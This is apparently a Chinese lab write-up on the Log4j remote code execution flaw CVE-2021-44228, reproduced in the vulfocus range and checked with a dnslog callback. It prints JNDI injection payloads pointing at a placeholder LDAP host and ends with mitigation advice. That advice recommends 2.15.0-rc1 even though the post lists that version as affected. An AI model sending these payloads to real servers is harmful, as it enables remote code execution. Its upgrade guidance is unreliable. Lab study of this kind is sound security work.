Apache Log4j 远程代码执行漏洞复现(CVE-2021-44228)
一、漏洞描述
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
二、漏洞原理
当log4j打印的日志内容中包含${jndi:ldap://my-ip}时,lookup会将jndi注入可执行语句执行,程序会通过ldap协议访问my-ip这个地址,然后my-ip就会返回一个包含java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行,从而达成漏洞利用目的。
利用流程:
发送payload→目标解析执行payload→通过ldap连接远程服务→ldap将请求重定向到恶意 java class的地址→目标服务器收到重定向请求→下载class文件并执行恶意代码
三、影响范围
2.0-beta9 <= Apache Log4j <= 2.15.0-rc1
四、漏洞复现
复现环境:vulfocus靶场
注册登录后,启动Log4j2远程命令执行(CVE-2021-44228)靶场环境
浏览器访问漏洞地址,点击?????时进行抓包。
在dnslog平台点击Get SubDomain获取一个临时域名,构造攻击payload:${jndi:ldap://xxx},将新的payload进行URL编码后插入请求包中”payload“参数后。
放包后在dnslog平台点击Refresh Record刷新即可看到成功解析记录。
五、修复建议
Apache官方已发布补丁,建议受影响的用户尽快升级到安全版本。下载地址:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
临时解决方案
(1)jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2)log4j2.formatMsgNoLookups=True
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!